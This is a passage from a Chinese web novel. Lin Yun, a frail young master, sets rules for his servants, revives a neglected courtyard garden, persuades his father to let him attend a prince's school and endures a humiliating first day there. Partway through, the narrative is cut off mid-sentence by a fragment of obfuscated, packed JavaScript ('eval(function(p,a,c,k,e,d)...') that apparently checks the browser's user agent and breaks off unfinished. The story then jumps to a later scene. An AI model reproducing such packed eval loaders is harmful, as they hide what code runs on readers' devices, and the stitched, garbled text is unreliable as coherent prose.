但林雲叫住李乔,命所有人等在院中,他走到廊下,十分严肃地说道:“在我这里,只有两个底线不要碰:一是有敬畏心,敬畏尊长、敬畏自然、敬畏规则;二是嘴要牢,身要正,行有矩。谁碰了这两条底线,不论是谁,我都不敢再要你。有人也许认为,你犯了错,我也会像放了肖峰一样放了你,倒正合你意。那你就错了,肖峰怎么对我的,我很清楚,我不追究是因为他以前对我的忠心同样被我记在心里,功过相抵,我才会放他。偏院起火,父亲禁我,可也没有放过杏萍和赖大娘,是为什么,我想大家私下里也都想过。谁若是不愿待,趁早出去,我不强留,可要是没有要走的,以后就安分着些。我好说话,可不代表我这里什么也能做。” 李乔听完,立刻拉着茜柔去管事院找明老。明老表示也很为难,这几个是特意为四少爷拨过去的,几个女使也是新进府里的,可能不怎么熟悉林府的规矩,可以慢慢调教。但李乔表明了林雲的意思,明老只好请示大娘子柳氏,而柳氏却说别处人都满着呢,还让退回去,不要一点小事就丢给她去处理。 明老没办法,亲自送回茜柔,但林雲就是不要,连院门都不许进。如此两天,茜柔只能待在院子外面,倒是洺苏阁里的人都安分了许多,知道林雲说出去的话似板上钉的钉子。后来还是李乔又领了茜柔出去,把她推到大厨房里做事了。 自那以后,李乔更不明白林雲了。通常少爷他不以主子自居,喝茶倒水乃至梳洗穿衣暖被都是自己做的,也不怎么辖管下人们的活动;但上次一通闹,也表明林雲更喜欢独处,也怕下人们给他招来麻烦,所以对丫头小子们的外出言行很严厉,不许妄议他人,更不许随意结交朋友,以免惹上是非。林雲渴望别人的关心爱护,可又怕别人突如其来的关心爱护带着目的,就躲着别人的真心情意;他不喜欢别人说话拐弯抹角,又怕真话里带着刺,扎痛了他脆弱的内心。这就弄得李乔很难做了,不知道怎么说怎么做才更合林雲的心意。 所以林雲跟他说“不能赏花”的话时,他想不明白是少爷想让他带着出去赏花,还是他去买些花来让少爷赏,还是只单纯地发发牢骚。整得一个大老爷们,心思绕了几重重,猜来猜去也没敢问出来。 林雲又若有所思地问:“偏院里那些花盆还没有扔掉吧?” “还没有,偏院的东西没人去动,锁都没上。”这下李乔能对上一句了。 “嗯······院里太冷清了,我想种些花草。”林雲好像自顾自地说着,见李乔没应, 便继续说,“只是我不能出去,得麻烦你们取些我以前用的东西。” 原来是这样,李乔舒了一口气,忙忙接话:“小的们该做的,您只管吩咐就好。” 就这样,李乔带着那三个小厮趁傍晚的暮色从偏院里又拉回来两车别人不稀罕的东西,林雲见了,脸上却现出了少有的笑容。 59.擎云路 四 四 那些大水缸里,林雲又让李乔他们添上了水。七八个大花盆里的花都早就枯萎了,他用了整整一个下午,用小铲子挖出枯根、松土、落肥,将花盆整理出来,准备再过半个月移栽些后花园里的花苗。 他坐在小板凳上,挽着襻膊,耐心地一点一点做自己的事,露出了难得的平静祥和之色。 李乔也没有劝,倒是魏嬷嬷看到这个场景,不由得向李乔担忧地说:“少爷那手还没有好利索呢,这样的重活怎么干得?让人看见了,还以为是咱们不管呢!”李乔看了眼紧闭的院门,悄悄应道:“少爷的性子你看不出来吗,要做的事谁也拦不住,再者要是手痛自然就不干了,且闷着不言不语的,不如让他做点自己爱做的事。没人往外说,就没有外人知道咱们院里的事儿。” 李乔他们去帮忙,林雲也摆摆手,只是让把院子扫扫干净,又让在靠近廊下的地方开垦出几块长方形苗圃来,准备种其他东西。 到了四月中,他便开始每日忙活起来,竹子需要冬日提早埋种下,于是就预留出了一块地方。其他的苗圃他种了棉花、菜瓜和葡萄,还在院子东南角又栽了一株小桃树。他喜欢充满绿意和朝气的地方,尽管简朴,但洺苏阁经他这么一折腾,反而更显自然活泼的意趣了。 林将军来看过他一次。那日天气阴沉,雨快来了,林将军刚和贺小娘去过霁少爷过完生日,顺道进来看望他。正好他下午干活累了,此刻已窝在被里睡下了。李乔进来通报时,他还有些惊讶,慌忙起身,父亲和贺小娘已经进来里屋了。 “给父亲、小娘请安。”林雲只披了件衣裳,赶紧跪下问安。 “这么早就睡下了?”父亲问他,一屁股坐在了卧房的榉木雕兽腿圆桌旁,贺小娘仍妖娆地着一身鹅黄色衣裙站在林将军身后。 “今日有些乏了就睡得早一点。往常都会读一会儿书再休息的。”林雲也还是很小心地回答着。 “起来吧,”父亲呡了一小口李乔奉上的热茶,看似漫不经心地环顾了一下屋内昏暗单调的环境,叫过林雲来,“你近前来,手怎么样了?” “承顾爹爹关心,已经好的差不多了。”林雲一面摊开双手,表现出一点害怕的样子,把双手奉到父亲眼前。 果然林将军一把大手抓过林雲细瘦枯枝一般的手瞧了瞧,还用大拇指摩挲了几下。林雲的手经上次惩戒,长出了嫩红的新肉,多添了好些细细的纹路,但到底伤了筋肉,提起重物或是用力握拳时还是有些抽痛。 “说起读书,你已经好几年不上学堂了吧?” “是。” “既然养好了,就和霁儿他们一道去上学,正经学些经济学识才对,”林将军含着期盼之情看向贺小娘,又转向林雲说,“你三哥哥今年就下考场了,你耽误了好几年了。” “是,孩儿谨遵教诲,去学堂好好读书。”林雲低下头应道。 贺小娘看向林雲的手时嘴角微翘了下,立刻又恢复了一如往常的娇媚,然后半靠在林将军身上,冲向林雲说:“雲少爷受了委屈,刚刚才好些,还是应该把身体将养好。雲少爷天资聪慧,将来用不了多少时日就赶霁儿强得多了。” “我向来粗笨,不比霁哥哥灵毓敏秀,以后会向哥哥们虚心请教的。所以我也想早日去学堂里读书,不辱父亲的期望。”林雲怕父亲还不许他去,赶紧说出自己的想法。 林将军轻抚贺小娘放在肩头的手,答应道:“罢了,你既愿去,我下帖知会祁恭王府,安顿你同你二哥三哥他们一同去就是了。” 林雲看达成所愿,心里像燃了鞭炮礼花一样开心。 立夏过后,林雲就每日一早随着林霓、林霁一起去祁恭王府的学塾读书了,只是他还不会骑马,哥哥们骑马,他却坐了一辆马车跟在后边。起初李乔还建议他也一起骑马,他怕露了馅正为难呢,魏嬷嬷给他打点衣裳点心包袱时插了一嘴说:“哥儿才好一点,你瞧咱哥儿的身量怎么能跟二爷三爷他们比,还是坐车的好,免得没上几天学招了风又生一场病。” 林雲刚去学塾,怯生生的,只跟着哥哥们进去,看哥哥们如何道安叙话,他也学着给老先生王儒老请了安。只见那老先生一身仙风道骨,倒像个老道,通身的白莲花暗纹青罗衫,外套青白纱墨锦边鹤氅,银丝银须白面庞,脸上干净得连个斑点也没有,身材瘦长却不见有深深的皱纹,说话也底气十足、沉稳有力。 王儒老问他:“听令尊讲,因久病有时日没来了,可曾记得书读到哪本了?” 他被问了个哑口无言,要知道,在偏院那些日子,他杂学旁收,尽看些正经读书人不怎么看的书,况且有些看了也是一知半解,抄了几本书的概要,也都是跟日常实际相关的,什么药草解毒、植物嫁接、木工活计啦,跟科考一点边都不沾。那林雲以前读过什么书,林载轩更是不清楚。要问起林载轩读过些什么,《诗经》《唐诗三百首》《道德经》之类的,也忘得七七八八了,就属《金刚经》还记得牢,因为给母亲过百日祭前抄过许多遍。数学、英语、物理、生物······也总不能这么回答······ 王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林雲,在经受了这几年的内外煎熬后,早瘦脱了形,且心含胆怯,神色郁郁,面上只露出一股羸弱的清秀之姿,不免面对三哥那么一种睥睨众生的骄傲时,有些想逃。刚伸出手去要拿书,却见三哥一回手那么说,他只好鼓足气目视前面的几位公子,拱手问好。还没等他看清哪位是哪位,三哥一甩手把书掷到他怀里,说道:“快些抄,一会儿就要学了。” 他快步回到座位上,眼睛却瞥到刚刚站在一起的那群人还朝着他看过来,口里议论着,低低地笑些什么。他顾不得许多,刚抄了三段话,老先生就又进来了,他慌忙把书还回去。 这一天过得心酸极了,他原想高高兴兴地去读书,谁知书上也写着“吃人”两个大字,踩着他的影子追着他不放,弄得他疲惫不堪。